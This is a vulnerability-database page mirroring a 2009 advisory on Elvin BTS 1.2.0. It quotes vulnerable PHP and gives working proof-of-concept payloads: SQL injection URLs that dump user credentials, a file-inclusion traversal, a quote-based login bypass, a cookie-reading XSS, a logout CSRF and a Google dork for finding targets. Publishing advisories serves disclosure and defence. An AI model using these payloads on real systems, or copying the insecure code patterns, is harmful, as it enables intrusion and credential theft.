Lucene search
K

elvin bts 1.2.0 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Elvin BTS 1.2.0 Multiple Remote Vulnerabilities discovered by SirGo

Code

                                                #################################################################################################################
[+] Elvin BTS 1.2.0 Multiple Remote VUlnerabilities
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

- Script Homepage : http://www.elvinbts.org/
- Google Dork : Powered by Elvin Bug Tracking Server.

Elvin BTS suffers from a lot of vunerabilities

1) SQL Injection
2) Local File Inclusion
3) SQL Injection Login Bypass
4) Cross-Site Scripting
5) Cross-Site Request Forgery
6) Source Code Disclosure


----------------------- 1) SQL Injection ----------------------- 

- Vulnerable code is everywhere.I will present only 2 PoC's.

 a) Vulnerable code in show_bug.php

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$query_bug = sprintf("SELECT * FROM " .$prefix_db. "_bug WHERE bg_id_pk=" .$_GET['id']. " AND bg_deleted_dt IS NULL");
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC 

     http://127.0.0.1/[path]/show_bug.php?id=null+union+all+select+1,2,3,4,concat_ws(0x3a,ac_user_vc,ac_pass_vc),6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+eb_profile--

  b) Vulnerable code in show_activity.php

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$query_activity = sprintf("SELECT * FROM " .$prefix_db. "_activity WHERE ay_bugid_fk=" .$_GET['id']. "");
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC 

     http://127.0.0.1/[path]/show_activity.php?id=null+union+all+select+1,2,3,4,concat_ws(0x3a,ac_user_vc,ac_pass_vc),6,7,8+from+eb_profile--


----------------------- 2) Local File Inclusion ----------------------- 

- Vulnerable code in page.php


----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$filename = "pages/".$_GET['id'];
................................................
if(file_exists($filename)){
include($filename);
} else {
echo "<h2>Sorry page cannot be found!</h2>";
}
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC 

       http://127.0.0.1/[path]/page.php?id=../../../../../../BOOTSECT.BAK



----------------------- 3) SQL Injection Login Bypass----------------------- 

- Code in login.php ( in login.php is included the vulnerable code)

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
include(LoadElvinModule('login.ei'));
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


- Vulnerable code in inc/login.ei

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$query_login = sprintf("SELECT * FROM " .$prefix_db. "_profile WHERE ac_user_vc='" .$_POST['inUser']. "' AND ac_pass_vc='" .$_POST['inPass']. "'");
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC 

Login as :
  
 Username : 'or''='
 Password : 'or''='


----------------------- 4) Cross-Site Scripting----------------------- 

It's more XSS's in the script,but tired to find them all.

- Vulnerable code in show_activity.php

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<p>Back to bug # <a href="show_bug.php?id=<?php echo $_GET['id']; ?>"><?php echo $_GET['id']; ?></a></a></p>
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

    http://127.0.0.1/[path]/show_activity.php?id=<script>alert(document.cookie)</script>



----------------------- 5) Cross-Site Request Forgery----------------------- 

Logout CSRF

 - PoC

   http://127.0.0.1/[path]/login.php?logout



----------------------- 6) Source Code Disclosure----------------------- 

Go to /inc/ directory.You will se .ei files with php code inside.
That files are included and used by the script.

 - PoC's

    http://127.0.0.1/[path]/inc/login.ei
    http://127.0.0.1/[path]/inc/jump_bug.ei
    http://127.0.0.1/[path]/inc/create_account.ei

Etc..

############################################### EOF ##################################################

# milw0rm.com [2009-06-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation